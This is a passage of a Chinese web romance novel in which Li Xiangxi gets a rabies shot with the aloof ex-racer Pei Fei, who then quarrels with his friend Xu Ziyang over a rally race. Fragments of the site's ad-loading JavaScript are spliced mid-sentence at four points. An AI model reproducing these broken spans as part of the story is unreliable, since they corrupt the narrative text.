“吃早餐。”他又重复说。 黎向浠耸耸肩,一种认命的语气说:“行吧,打就打吧,听你的。” 她打开袋子,里面有包子豆浆油条,还是热乎的。 “你去哪里买的?附近吗?”黎向浠拿出一杯豆浆,插上吸管。 “嗯,往左边走,一公里左右。”裴非把着方向盘回。 黎向浠准备吃的时候才想起裴非也没有吃,她将豆浆递到裴非嘴边,“呐,你先吃。” 裴非垂眸一愣,这个动作分明是要喂他,他偏了偏脑袋,“不。” 义正言辞的拒绝。 “那怎么行!”黎向浠也义正言辞,神色认真起来,“你不吃早餐,又跑了那么长一段路,现在还要开车,到那边估计得一个小时,会低血糖的。” “不会。” 他这些年锻炼得很好,不至于这么一会儿就低血糖。 “不行!得吃,黎蔓早就骂过我了,人是铁饭是钢。再说了,你身体再好也会低血糖,而且这样会把好端端的身体搞坏的,在路边停下,我们吃完再过去!” 裴非眼睫触动,他紧抓着方向盘,试图不去听黎向浠喋喋不休的唠叨。 这里面,有他最喜欢听的话。 在外训练这些年,不知道熬了多少个天昏地暗的日子,他最期待的就是那些繁琐的唠叨。 对别 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人而言是累赘,对他来说,是可望不可及。 以及,刚刚黎向浠的神态,似乎真的很关心他,佯装生气的脸颊带着稚气,说着年长者才会说的叮嘱的话,挺像那么一回事。 裴非按下身侧的车窗,踩深油门,试图让呼肃进来的风声掩盖黎向浠的话。 布加迪加速开过红绿灯,又冲向下一个红绿灯,并没有停下来的趋势。 黎向浠用塑料袋将包子拿出来,递到裴非嘴边,“不停就不停,那我喂你吃。” 布加迪像是受到了惊吓,瞬间拐弯靠边停下,速度太快,黎向浠也因为惯性,撞在椅子上。 发梢甩到脸上,黎向浠表情有些不可置信,两只手傻愣愣拿着早餐。 她还没反应过来裴非的操作,裴非直接抢过包子,咬了一口,他没有喝豆浆,而是从中控台拿了一瓶冷水,拧开。 “别喝冷水。”黎向浠摇头将挂在睫毛上的碎发抖掉,阻止说。 裴非有些距离地睨了她一眼。 黎向浠抿嘴,“好吧,你喝吧。” 她好像管太多了,刚刚也不知道自己怎么了,黎蔓在她脑子里盘旋,她就把裴非当成以前的自己训斥了,关键是,裴非居然没有生气,不像她,以前老跟黎蔓对着干。 工作日的清晨,路上车子拥挤,一个个都跟没睡醒似的,慢慢蠕动,唯独布加迪,悠哉悠哉停在路边。 裴非摸了摸口袋的车钥匙,攥在掌心问:“会开车?” “有驾照,黎蔓逼着我去学的,不过我拿了本子就没开过嘿嘿,家里没有车。”黎向浠望着窗外回答。 算了。 裴非松开钥匙,又打开水喝了一口,当做什么也没发生。 黎向浠指着外面的摩天大楼,“那是做什么的?” 很高,她抬头都看不到楼顶。 裴非随意瞥一眼,冷冷摇头。 “你都不知道?我还以为你对京北很熟悉的。” 裴非后槽牙紧了紧,眸色泛起无奈的涟漪,又什么都没说。 他吃完了,将塑料袋打了个结。 黎向浠听到声音,收回视线,“给我吧,放一起,下车我再拿去扔。” 她伸手。 裴非没跟她客气,直接放到她掌心,车子重新启动。 抵达疾控中心的时候,是上午九点多。 黎向浠进去登记,走完一整套流程,裴非一直带着鸭舌帽,帽檐很低,几乎盖住他一整张脸。 准备去注射室时,黎向浠手机响起了,来电显示:沈推凡。 黎向浠看向裴非,将手机递到他视线里,裴非压了压帽檐,转走身子。 对面,沈推凡声音带着未睡醒的气泡,但也很沉稳:“受伤了?” 明明是关心,但黎向浠想到自己刚刚用过电子身份证,心底一阵无奈感叹。 她眼神游离起来,“没有,小猫挠了一下,不要紧。” 她的声音回到了第一次见沈推凡时候的平静,是正常成年人的对话,好像两个结婚很久之后,对另一方没有感情,但还是要交代一些日常琐碎时候的声音,没有激情,是无可奈何的尊重。 裴非瞳色暗下去,不太能分辨她转换语气的原因,他也不想去探索。 沈推凡:“需不需要安排司机接送?我还在国外,不太方便回去。” “不用了,我闲着也无聊,自己一个人跑跑,还能解闷。” 挂了电话,黎向浠挤了挤嘴角。 转头,对上裴非五味杂陈的眼神。 黎向浠又扬起笑容,仿佛刚刚接电话的不是她那样提起音量说:“走吧!我们找找注射室在哪里!” - 16. 他关系 临近正午,疾控中心人多起来,小孩打针的哭声和大人交谈的声音交织,大厅像是菜市场,喧嚣嘈杂。 裴非侧脸对着黎向浠,两人中间像是堵了一条冰川。 “估计还要好久才到我呢,我们去那里等吧!”黎向浠指着椅子说完,走过去坐下。 裴非隔了一个位置入座。 黎向浠嘴角耷拉下去,眼巴巴看着裴非。 似乎是感受到某个视线过分炙热,裴非偏头,抬了抬帽檐,眸色不解。 黎向浠拧巴着小脸,像是丢了糖果的小孩,撇着嘴,鼻音很重地说:“你是不是害怕如果沈推凡发现我乱跑,顺便把你也给暴露了,所以就不跟我坐在一起了?” 裴非:…… 这人畜无害的样子,和刚刚打电话时候的成熟判若两人。 裴非无奈,鼻腔轻轻出气。 见裴非有了反应,黎向浠立即坐到他旁边,当做他的小赌气已经翻篇那样,她翻着注射卡片,好奇问:“你打过狂犬疫苗吗?” “嗯。” “什么时候的?你也是让猫挠了吗?我觉得你应该是踢人家小猫了才被挠的吧?” 裴非看着她,眉头微挑。 黎向浠唇线放平,“呃……算了,那打狂犬疫苗疼不疼啊?” “不。” “是因为你不害怕打针才不疼的吧?” “不。” “可是这个要打五针,肯定疼……” …… 无关痛痒的话题被黎向浠翻来覆去询问,没一会儿,注射室喊她的名字。 黎向浠叹息一声,跟上战场一样,拍拍胸口走过去。 裴非后一步起身跟上。 护士将黎向浠袖子挽起,露出纤细白皙的手臂,一开始黎向浠还盯着护士的动作,等涂上消毒水之后,她转走脑袋。 只是调试针,她已经在脸上演了一出打针大戏,先是瞪大眼睛鼓励自己可以的,又撇撇嘴泄了气,然后闭上眼,一副英勇就义的模样。 裴非眼底起了笑意,鼻子轻轻出气。 黎向浠此刻敏感到了极点,以为裴非在嘲讽她,她抬眸,眼神表达对他幸灾乐祸的不满。 裴非只是耸耸肩扫过她手臂,最后眼神定在她的抓痕上,冷冷问:“你欺负猫了?” 黎向浠瞳孔闪过不可思议,裴非居然为一只挠了她的猫打抱不平。 “我没有欺负它!我明明是给它喂吃的!”黎向浠朝向裴非,嘴巴一刻也不停地解释,“我先给它拿了火腿,它不吃,我又给它拿了鱿鱼,是它不识好歹,反给我一爪子!” 黎向浠刚说完,护士便提醒:“好了,压着棉签。” 她“嗯?”了一声回头,盯着棉签按压的地方。 打完了?可她刚刚一点感觉没有。 护士笑了笑,朝裴非说:“男朋友过来帮她压一下,三分钟再拿下来,记得卡片上打针的时间,按时带她过来。” 话落,黎向浠愣住,她回头,裴非已经将帽子压低,看不到表情。 黎向浠立刻跟护士解释:“不是不是,他不是我男朋友。” 护士笑容更深了,想说不是男朋友的话,为什么打针的时候,还要故意勾走你的注意力。 猜测是小年轻没有捅破窗户纸,护士只是嘴巴提了一句:“没关系,我看他挺细心的,应该也快了。” 黎向浠拧眉压住棉签,又认真凑近护士解释说:“他真的不是我男朋友!” “知道了知道了,回去记得忌口,男朋友提醒一下。”护士头也不抬。 黎向浠:…… 黎向浠要回头说什么,裴非已经一个人走到大门口了。 从疾控中心出来,早上只吃了些包子,黎向浠已经饥肠辘辘,她坐在副驾驶,肚子咕噜响了半天。 裴非缓慢控制车子速度,等待黎向浠挑选街道边的餐厅。 黎向浠趴在车窗,往后倒退的一堆餐馆里面,她看见一家山城小面,立刻眼睛放光指着说:“吃那个!” 裴非掠一眼,“太辣。” 黎向浠:……明明昨晚还能吃辣。 “那个那个,那里有一家火锅店!” “太油。” “海鲜!有一家海鲜餐厅!大闸蟹!” 裴非:…… 车子抵达停车场,太阳火辣,烫得皮肤比打针还疼,黎向浠一下车便迫不及待冲向海鲜餐厅。 裴非插着兜,步履坚定往另一个方向走。 “你走反啦!”黎向浠在原地喊。 裴非扬起下巴指了指对面的粤式餐厅,“它。” “你想吃那个吗?” “嗯。” 黎向浠有些错愕,这似乎是裴非第一次和她明确说需求。 不想让他扫兴,黎向浠拔腿跟上去。 虽然是用餐时间,餐厅人却不算多,装饰高档,华丽吊灯营造了傍晚的余晖光线,气氛柔和,每张用餐桌都有隔间挡开,隐秘性不错。 一进去,服务员立即指引他们在靠窗位置入座。 裴非坐到黎向浠对面,他脱下帽子甩了甩脑袋,头发便像刚洗过一样蓬松起来,阳光透过玻璃照在脸上,他皮肤白得透光。 这一下,刚刚跟着的服务员见了正脸,眼神跟着直了起来。 裴非把菜单挪过来,黎向浠随意点了几个,就让他自己选了。 她很少吃这类餐厅,山城的食物大都重油重盐,她嘴巴吃习惯了,爱吃点过瘾的。 “他们这里会有蘸水吗?我怕太清淡了。”黎向浠问。 裴非勾着菜单,不平不缓说:“没有。” “真的吗?要不我等下问问服务员?”她想转头问问一米之外等他们点餐的服务员。 服务员听见了,迈开腿想走过来回答。 “不用,没有。”裴非直接回绝,掀起眼皮扫了一眼服务员。 服务员收回脚步,只是笑。 黎向浠:…… 黎向浠没再问,就等着上菜。 粤菜的风格是清淡,还原食物原本的味道,黎向浠觉得,吃起来跟裴非给她的感觉差不多。 裴非看上去也没有任何调味品,没有香水,没有装饰品,简单地衣服帽子,保留最原本的感觉,淡淡的,不苟言笑的。 裴非吃东西的频率很慢,一口一口细嚼慢咽,而且干干净净,很有观赏性。 不过黎向浠觉得也有点太慢了,那晚吃泡面,她平时吃一包几分钟就搞定,裴非居然要半个小时。 幸好她话多,吃起来时间也差不多。 “你经常来这里吃吗?”黎向浠凑上去问。 “第二次。”裴非回。 “你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爱吃这个?那我以后学着弄给你。” “不用。”裴非一贯拒绝。 “没关系的,我不会觉得你把我当阿姨使唤,因为我闲着也是闲着,当是给我找事情做了。”黎向浠认真解释。 “不爱吃。”裴非态度坚决,并且不给她眼神。 黎向浠以为,裴非为了不让她弄才撒谎说不爱吃的,毕竟刚刚是他提出来吃的这个,她只好作罢,不再坚持。 吃完之后,两人上了车,准备回老宅,已经是下午,光线倾斜从车窗透进来,黎向浠用手盖在眼睛上往外看,她要好好看一眼京北的建筑。 红绿灯路口,在被晒得快流眼泪的时候,裴非扔了一副墨镜给她。 “谢谢!”黎向浠回身,拿着墨镜,笑盈盈说。 裴非只是微微斜眼,又看向路面。 黎向浠戴上墨镜,怀里的疫苗卡片掉落在她膝盖上,卡片背面是疫苗的注意事项。 忌辛辣,油腻,生冷,还有螃蟹和虾。 黎向浠“嗯?”了一声,捡起仔细查看。 这些……不都是她刚刚说要吃的吗?裴非不让她吃,是不是在关心她? 黎向浠眼神试探地落到裴非侧脸,他并不搭理她,帽檐盖住额头,鼻梁高挺,侧脸轮廓锋利,没有表情也没什么温度。 黎向浠心底飘过一个坏想法,她扬起嘴角试探问:“我们晚上吃火锅怎么样?我嘴巴太馋了!” 裴非余光睨向她,瞥见她手里的接种疫苗注意事项卡片,漆瞳涌起无法察觉的笑意。 “嗯。”他轻轻答应。 黎向浠嘴角落下去,想多了,似乎并不是为了她。 为了自己的安全,黎向浠将卡片收回去,嘟囔着:“算了算了,我觉得天天吃太油腻了,还是吃点家常便饭的好,我看看有什么好吃的小菜呢。” 她收着卡片,喋喋不休给自己找台阶重复:“不吃那个不吃那个,太辣了,算了算了。” 像是小朋友害怕忘记某一项任务而重复地自我洗脑,小脸颊也因此一动一动,挺可爱,裴非压了压唇角。 裴非忘了看红绿灯,后车滴了他一下,他才突然回神,踩下油门,加速离开。 又是临近别墅区的柏油路,黎向浠发现,裴非虽然住在这里,但他对超市那条路并不熟悉,他甚至都没有去过那边的商场。 她沿路指着各个地方,给他说超市旁边有菜市场,菜市场后面还会有屠宰场,每天早上都会有新鲜的肉,尽管她不知道跟裴非说这些有什么用。 像裴非这样身价的人,应当不需要知道这些,但布加迪的车速还是慢了下来,静静等她介绍完一个“景点”,才缓缓挪向下一个“景点”。 到了拐向老宅的最后一个红绿灯路口,裴非放在中控台的手机响了,来电显示:许子炀。 裴非拿起来接听。 许子炀:“杨余瑞训练的时候受伤了,快来医院!” 声音听上去很急,似乎受伤很严重。 黎向浠迅速脱下安全带,想开门下去,裴非却先一步锁了车门。 “我走回去就好,你快去吧!” “嗯?你车上怎么会有一个女人?!”许子炀还没挂断电话,黎向浠的声音传过去。 这一下,许子炀声音真是跟见了鬼一样,比通知杨余瑞受伤还震惊。 - 17. 哄哄他 医院,vip病房宽敞明亮,消毒水味道都比外面柔和许多。 向馨欣坐在一边,杨余瑞戴着颈托,坐在病床上,一只手挡住她的视线。 床尾是一排车队的队员。 许子炀抱手站在中间,咬牙切齿,“拉力赛马上开始了,你现在给我搞这出,还好意思说冠军?我看你走路都够呛。” 杨余瑞朝许子炀使眼色,让他少说两句,毕竟向馨欣还在这儿,别让他丢人。 许子炀翻了个白眼,恨铁不成钢嘟囔:“色字头上一把刀。” 裴非走进来,黑色帽檐盖住半张脸。 向馨欣见是他,扭头哼了一声。 裴非当作没看见,冷然问杨余瑞:“怎么回事?” 杨余瑞一头雾水看了看向馨欣,又笑盈盈和裴非解释,“上次你说练脖子的方法,我自己试了一下,没收住力,就扭伤了。” 很多训练的方法动作不到位会适得其反,许子炀的脸已经冷得跟个活化石一样了。 Y12车队,名义上喊得很大,本质上还是一堆富二代闲着没事干找乐子的,唯一想要拿冠军的,估计只有许子炀。 裴非转向队员说:“我不在的时候,不能擅自用我给的方式练习。” 杨余瑞的下场就在眼前,一个个乖巧点头。 许子炀气得不轻,神色难得沉下来,朝裴非认真说:“你出来一下。” 医院楼梯处,没有人经过,空荡荡的,下午背光,里面光线阴沉沉,阶梯的水泥地面透着一股寒气。 许子炀双手撑在窗户上,一脸无奈。 “不参加。”裴非站在他后方说。 “你怎么就这么不愿意比赛呢?”许子炀这句话是从牙缝挤出来的,“我本来也不想逼你,但现在……杨余瑞是车队里最强的了,他上不了,替补的那个半吊子不如,拿什么跟别人争?” “争不了。”裴非直言不讳。 按照上次他和杨余瑞在训练场那次不痛不痒的比赛来看,如果杨余瑞是车队王牌,这种实力参赛,不垫底已经算是运气好。 “我知道。”许子炀背影有些失落,声音也掉下去。 “我知道这个车队赢不了,一开始我也想慢慢来,但是裴非,你明知道我想要一个冠军,你怎么就不能帮帮我?”许子炀看向裴非,眼白挂上了红血丝。 “可以帮你,但不参赛。”裴非的情绪依旧没有起伏。 或许是裴非永远这副事不关已、冷漠无情的模样,许子炀觉得裴非不讲义气,一股怒火冲上脑门。 许子炀拽住裴非衣领,将他抵在墙上,拳头握紧到指节泛白,“我帮过你不少吧裴非?你是看着我怎么走到今天的,现在我就只有这么一点小忙,只是让你跑一次拉力赛,会死吗?” 许子炀的指甲隔着衣服,划到凸起的锁骨,裴非紧了紧眉头。 “会。” 现在的他,确实会。 许子炀冷笑,“算了。” 他拍了拍裴非被揉皱的衣领,转身。 裴非:“明年,我能让你们赢。” 许子炀没有回应。他是富二代,他爸爸给手底下人画饼的时候就是这样说的,明年KPI达标,年终奖翻倍,他听太多了。 裴非垂眼,锁骨位置留了一条红色的划痕,背光,在暗淡的光线里颜色突兀。 裴非回到病房已经不见许子炀的踪影,队员说许子炀没有再回来过,裴非跟他们打了招呼,让他们明天准时去基地集合就离开了。 回到老宅的时候,太阳刚开始西沉,空气里有白天的燥热。 裴非下车,黎向浠正在院子里给草地浇水,看见他,黎向浠咧着嘴巴举起水管。 “裴非!看!” 这是她刚刚发现的,趁着斜阳照射进来,举高水管让水花呲出去,就能看见一条很短的彩虹,尽管不太盛大,但足够好看,而且有点胖嘟嘟,很可爱。 她想,裴非的朋友受伤了,他应该心情不太好,打算用这个哄哄他。 裴非站在水的另一头,看见那若隐若现的色彩,心底紧绷的气口松懈下来,一潭死水的眸光起了不起眼的涟漪。 黎向浠笑得开朗,可爱的兔牙露出来,很俏皮。这个游戏她玩了很久,头发被打湿了,粘在额头处,并不狼狈,更像是盛夏里少女熠熠生辉的生命力,活力又元气。 “哈哈哈哈裴非快看!” 黎向浠故意把水往裴非身上呲,让他不要出神。 细而厚重的水汽打过来,裴非轻轻眯眼,那道彩虹就在他眼底不远处。 他不见天日的心里,似乎在拼命长出一颗小芽,不知道是什么种子的芽,但它冲破了那道没可能牢笼,有东西闯进去了。 裴非颔首压下了帽子,挡住照在小芽上的阳光。 隔着水汽,黎向浠似乎看见了他上扬的嘴角,模糊又美好,像是他们之间隔着的那道彩虹,让人看了还想在看。 “你刚刚是……” 黎向浠想问他刚刚是笑了吗,话说到一半,裴非抬起帽檐,薄长的眼睛里眸色寒凉。 吓得黎向浠的水管落地,彩虹瞬间消失。 “那个……晚上你想吃什么?”黎向浠改了口。 水在地上哗哗流,钻进她的鞋子里,很裴非的眼神一样,冰冰凉凉。 “都行。”裴非转身回了房间。 黎向浠捡起水管,不明所以,“看错了吗?应该吧。” 她跟着返回客厅,准备考虑晚餐。 黎向浠看到百度百科说裴非在国外生活了很久,所以她觉得,他应当更习惯吃意面,而且不辣不油不生冷,也符合她现在的饮食状态。 黎向浠煮好之后,依旧敲锅喊裴非。 裴非全黑的居家服走到她跟前,衣服领口低,黎向浠的视线刚好落在他锁骨的位置。 一道划痕从衣服里爬出来两厘米,因为碰水,红晕往外扩散,更明显。 黎向浠看得心揪,“你受伤了?” 裴非没有回答,黎向浠抬眼,对上他深邃幽黑的瞳孔。 他们之间只有半步的距离,黎向浠感受到他身上水汽的温度,温温润润的。 伤痕的位置暧昧,裴非转走眼,淡淡回:“没。” 黎向浠总觉得伤痕好熟悉,上次见的时候,它…… 在喉结不远的位置。 以为这次伤口的出现还是跟上次一样,黎向浠脸颊发烫地挪走眼,“噢,那个,饭好了,吃……吃饭。” 毕竟是私事,她也管不了。 裴非嗯了一声走过去了。 黎向浠站在原地,心不在焉。 一个血气方刚的男人,肯定会有需求,可她就是心里怪怪的,说不上来为什么。 黎向浠摇了摇脑袋,让自己不要多想,只要他这段时间陪她住在这里,听她说话就好,不要想太多东西。 她活动脸部肌肉,挤出笑容走过去。 整个晚餐,黎向浠和裴非喋喋不休她发现那道彩虹的契机,还说她打理草坪时候摔了一跤,不过一点也不疼,草坪很软,洗过之后很干净。 裴非只是点头。 “你的朋友受伤很严重吗?”黎向浠小心翼翼问。 “不。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”裴非回。 “那你为什么看上去很伤心?” 裴非看了她一眼,并不打算说话。 但黎向浠眼巴巴等着,他沉默了一秒,又淡淡补了一句:“他参加不了比赛了。” “这个比赛以后还会有吗?” “会。” “那下一次参加不就好了?身体健康最重要,保护好自己才是最主要的。”黎向浠说。 “只要不是生病,只要能痊愈,晚一点参加又不会怎么样,那些都是虚无的,好身体才是王道。” 黎向浠又开始了,她也不知道这些话是对裴非的朋友说的,还是说给黎蔓的,至少在黎蔓出事之后,她真的觉得,健康才是第一名,别的都是锦上添花。 或许是因为她的“语”无止境,裴非有了短暂的出神,身体松下来,不去思考许子炀的问题。 晚饭过后,黎向浠拿起手机,发了一条朋友圈,又去了书房。 这是黎蔓出事之后,她发的第一条朋友圈,黎向浠觉得今天心情不错,原来会有第二个人陪她去打针,以前都只有黎蔓的。 而且,裴非的情绪不高,她不知道要怎么哄,她觉得夜深了,裴非会更不开心,因为她每次到晚上,心情都会沉下去,所以她把彩虹放到朋友圈,如果裴非看见的话,应该也能开心一点。 而此时,裴非正坐在阳台的椅子。 天空的星星比昨晚少了一半,似乎是因为季节更迭,夏季要走了,星星也留不住了。 月色晦暗,阳台没开灯,裴非坐在那儿,衣服融进黑夜,烟呼出的白烟也隐了身,独留白皙的皮肤在发光。 裴非第一次见许子炀,是在他偷跑回国的时候,许子炀车子翻在路边。 彼时,许子炀还是个叛逆少年,居然在公路上飙车,飙的还是四个轮子的车。 许子炀那个时候就知道裴非了,17岁有超级驾照豁免权,如果对赛车有浓烈兴趣,大都会关注到这些。 后来许子炀帮着裴非逃跑,裴非教许子炀玩赛车。 许子炀也是他第一个交心的朋友,是唯一一个除了沈家裴家外,知道他全部身份的人。 这次裴非能回来,能进车队身份又不暴露,也是许子炀的功劳。 但朋友归朋友,有些事,还是不能答应,比如,他不知道要怎么说自己不想比赛,怎么委婉地告诉许子炀,这个车队就是一坨垃圾,不好好训练,根本没有赢的可能。 裴非点下第二支烟,拿出手机,想看看许子炀给他发消息了吗,毕竟今天下午的冲突不小。 但手机安安静静,唯独朋友圈的位置亮了个红点,他此刻觉得这个红点很碍眼,尽管平时他不看的。 进入页面前,裴非看见了黎向浠的头像,是一只笑得很开心的小猫,白白的,毛茸茸,眼睛又大又圆又黑,跟黎向浠长得还挺像。 点进朋友圈,第一条就是黎向浠的。 【彩虹可以许愿,你要天天开心!】 图片就是他傍晚回来时候看见,用水管弄出来的小彩虹。 或许是又要抓着水管,又要拍照,地上的水渍倒映出她慌乱的影子,努力摆着姿势抓拍最好看的角度,像一只扭捏的小猫。 似乎还能看见她努力的脸颊,每次她全神贯注做什么的时候,她的表情就会变得又认真又可爱。 裴非漆黑的瞳孔泛起涟漪,轻笑出声。 身后,隔着窗户,熟悉的声音从书房传来,又是新的故事。 裴非深吸一口气,肩膀松散靠着椅子,保存下那张照片,又鬼使神差点赞了那条朋友圈。 - 18. 刺激他 黎向浠录完有声读书,已经是夜里一点多,窗外寂静,书房光线昏暗。 她的习惯,录音的时候绝对不会看手机,这会儿她才有空瞧一眼。 手机微信很热闹,平时一条没有,今天有十多条,全是许子炀发过来的。 【浠浠!】 【裴非居然会点赞你的朋友圈!好家伙?你们俩到底什么关系?!】 【算了,这个先放一边。】 【因为我不管你跟裴非是什么关系,现在你必须得救救我……】 …… 黎向浠似信非信点开朋友圈,一堆点赞消息里根本就没有裴非。 【你确定吗?可是并没有看见呀。】 许子炀:【确定,因为他在我后面一秒点的,会弹出来提示。】 许子炀把截图发过来,消息页面上显示,那条无尽的柏油路头像确实点了个赞,黎向浠又看一遍自己朋友圈底下的信息,得出结论: 裴非撤销了。 黎向浠摸不着头脑,不过裴非这样的人,她原本以为连朋友圈都不会看的,她甚至想象不出来裴非点赞时候的动作。 她没当回事,【可能是手滑,现在取消了。】 许子炀发来一个[有道理]的表情包,毕竟他确实没见裴非点赞过谁的朋友圈。 【你就因为这件事找我吗?】黎向浠趿着拖鞋走回房间,趴到床上。 许子炀:【不是,是一件很重要的事。】 许子炀和她说了事情的经过。 黎向浠从床上坐起来,她打字发过去的内容是:【你揪着裴非的衣领?!】 但脑子里想的是:那道伤居然是许子炀弄的,不是裴非又去做那些事了。 黎向浠唇线抿起,她居然有些庆幸,不知道在庆幸什么。 许子炀的消息发来一个欲哭无泪的表情。 许子炀:【你也觉得荒唐是不是?但我真的是气上头了,你能不能试着给裴非发个信息,让他消消气啊,我怕明天见面,他会杀了我。】 黎向浠触动的眸光望向门口,似乎能穿透两扇门,越过走廊黑沉的光线,看见裴非那样。 她回想和裴非接触的时间,其实他没有想象中那么吓人。 【直接和裴非道歉就好了,你揪他衣服时,他肯定知道自己受伤了,没有反抗就说明他没有生气的。】 - 翌日,大上午,Y12体能训练室,铁块碰撞的声音和哀嚎的人声此起彼伏。 除了杨余瑞和许子炀,队员一个个都在机子上,表情狰狞。裴非叉腰站在后方,无袖上衣,露出紧实的肌肉线条,面色严肃,眼神锋利如鹰,像是监督手底下的兵那样认真。 队员没有一个敢有怨言的。 不一会儿,许子炀拿着两瓶功能饮料从门口进来,一股别扭样,悄无声息站在裴非后方的位置。 不知道是没发现,还是不理睬,裴非走去给蒋闫涛调整动作,语气平平,“姿势不规范会受伤。” 蒋闫涛被突如其来的触碰吓得身体一惊,连忙说:“好……好的……” 蒋闫涛已经没有力气了,两个字都顺不上来气。 许子炀偷瞄,以为裴非是把对他的气撒到队员身上,他有些愧疚挠了挠额头。 但一个大老爷们,在大庭广众道歉他又拉不下脸,于是就这么干站着。 直到中午训练结束,队员一个两个都“爬”出训练室,只剩他们两人了,许子炀才敢靠近裴非。 裴非将书夹扔给许子炀,“队员的针对性训练,我不在的时候,你盯着。” 许子炀手忙脚乱接住,打开,眼睛瞪大。 “你昨晚……连夜弄的?” 上面是所有队员的优缺点,包括体能和赛车技术,后面给出了对应的训练方式,还有时间节点,延续到了明年,这得下不少功夫。 裴非没回话,捡起手机准备离开。 昨天伤了裴非,裴非还给他想解决方案,许子炀心底愧疚。 “哎。”许子炀将功能饮料伸到他跟前,声音坦荡说,“昨天抱歉啊,我气头上,下手没轻没重的。” 他下巴朝裴非伤口扬了扬,眼神虚下来。 起伏明显的锁骨爬着一道红印,在白皙的皮肤上异常明显。 裴非鼻腔出气,接过饮料,打开喝了一口。 两人不言而喻,算是这件事过去了。 许子炀跟裴非一前一后走去食堂,那些队员看见裴非吓得都不敢坐下,还有人跟许子炀抱怨,说他给他们找来了一个教官,严厉得要死。 “教官?你们是没见过以前裴非的训练,才这么点就喊累,一个二个的,喝多了虚的,活该。”许子炀正色回,完完全全站在裴非这边。 两人拿了饭入座,许子炀想到什么,凑到裴非跟前,“对了,你跟浠浠宝贝关系是不是很好?你昨天点赞人家朋友圈了,为什么又取消?” 听到浠浠宝贝,裴非夹菜的手停了一下,“谁?” “黎向浠啊,我昨晚其实是打算让她帮我搭个桥,是她让我直接跟你道歉的,还说你没有生气,所以我才敢说。” “不过她人真好,大半夜还不厌其烦回我消息,聊得可开心了。”许子炀咬一口红烧狮子头。 裴非盯着餐盘,不知道在思考什么。 许子炀继续说:“我决定跟她当朋友了,脑袋聪明,长得漂亮,比赛结束,我要找个机会约一约浠浠宝贝。” 他一口将狮子头咬进嘴巴,抬眼,不知何时,裴非眼神剜着他,冷冰冰。 “你看我干嘛?” 裴非转走眼。 许子炀:“你还没回答我的问题呢,干嘛点赞了又取消?” “手滑。” “哟,浠浠宝贝也说肯定是手滑点赞的,你们还挺有默契。”许子炀挑眉,一副打趣的模样。 裴非没有回答,冰冷的神色松动一秒,又被许子炀的话压回去。 “别担心,她没看见你点赞的动态。”许子炀勾起嘴角,耍贱说,“不过我眼疾手快,截了图发过去。” 裴非眼神阴恻恻扫过去,嫌弃他多管闲事。 许子炀立即抿紧唇线。 等裴非垂头,许子炀继续问:“你是点赞的时候手滑了,还是取消的时候手滑了?” “吃饭。”裴非声音沉沉。 许子炀识趣在嘴角做了个拉拉链的动作。 很快许子炀就憋不住了,“不过,昨天我打电话过去,浠浠宝贝好像在你身边,怎么?你们在约会吗?” 裴非睫毛微动,他清了清喉咙,当做不走心那样说:“偶遇。” “这京北还真是两室一厅啊,你俩光是偶遇都让我抓到两回了?”许子炀不太相信,一副吃瓜的表情说。 裴非敲了敲许子炀餐盘,让他闭嘴。 许子炀点点头,继续吃剩下的半个红烧狮子头,嘴贱又来一句:“哎,你说浠浠宝贝知道你点赞的那一刻,会有什么想法?开不开心?” 裴非觉得许子炀像是一只苍蝇,他本来不太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 讨厌蚊子,但这会儿有点讨厌了,总是浠浠宝贝浠浠宝贝的,有点刺耳,他烦躁起身。 “别走啊,我不说了还不行吗?再说了,我知道你不喜欢人家,但你也不能对人家姑娘冷冰冰的。” 裴非动作顿了一下。 “你看我说中了吧。” 许子炀以为他说对了,所以裴非才自我反省,又继续啰嗦,“你这性格,能有几个人不躲着的,你看向馨欣,一开始也很喜欢你,结果你一黑脸,人姑娘立刻躲得远远的,你可别把浠浠宝贝也给吓着了。” “我知道你又要说不喜欢她了,人家浠浠宝贝也不一定喜欢你啊,她不也是很有礼貌,而且笑得可甜了。” “就算你笑不出来,至少行动上让人家知道你没有恶意吧,或者嘴巴多一些,多说点话也行,一个大老爷们儿,怎么能忍心对浠浠宝贝这么可爱的女生冷冰冰的呢,她该多伤心。” 裴非眸色松下来,其实,他对黎向浠黑脸的次数,远远比对向馨欣黑脸要多,但黎向浠似乎一点也不在意,还是会绕着他叽叽喳喳。 也有可能她也会不开心,只是不表现出来罢了。 他剜了一眼许子炀,转身离开。 许子炀看着对面干净的餐盘,裴非吃饭一向很快,在国外留下的习惯,他会争取一切时间训练。 这么大一段话不知道裴非听进去,许子炀耸耸肩。 - 晚餐时间,老宅。 黎向浠收到许子炀感谢的消息。 【浠浠宝贝,完美解决,感谢感谢。】 她眼含笑意看向坐在对面的裴非。 他坐得笔直,细嚼慢咽,她刚刚已经说得口干舌燥了,他依旧面无表情。 黎向浠:【我好像也没有起到什么作用。】 许子炀:【那也是你的好建议,不过昨天我打电话过去,你怎么跟裴非在一块儿?你俩约会去了?】 约会?黎向浠第一次接触到这个词,还是把她跟一个男人绑在一起,脸颊不自觉就烫起来了。 【不是不是,偶遇的。】黎向浠耳垂泛红。 许子炀:【还真是偶遇啊?我下午问裴非,他也是这样解释的,就连手滑你们都回复得一样,我靠,绝了。】 黎向浠神色诧异,发现自己跟裴非还挺有默契,她嘴角扬起。 许子炀:【你知道裴非退役的原因吗?】 【不知道。】 许子炀:【好吧,我以为你知道,毕竟能跟他搭上关系的女性,你应该算是第二个,看来他连你也没说。】 许子炀想说,另外一个女性是裴非的奶奶,但害怕透漏裴非的隐私,于是他概括了一些。 但黎向浠误会了。 搭上关系的女性。 她觉得这句话,许子炀是说裴非谈过恋爱。 黎向浠偷偷看过去,裴非没有戴鸭舌帽,高精致度的五官摊开在眼前,深邃得让人挪不开视线,也让人不敢靠近。 这样的人……居然是谈过恋爱的? “吃好了。”裴非起身,冷不丁瞥了她一眼。 黎向浠有些诧异,今晚裴非居然主动和她说话了。 “好!待会儿我来收拾!你去休息吧!”她扬起笑容。 裴非只看见她泛红的脸颊,似乎聊害羞了。 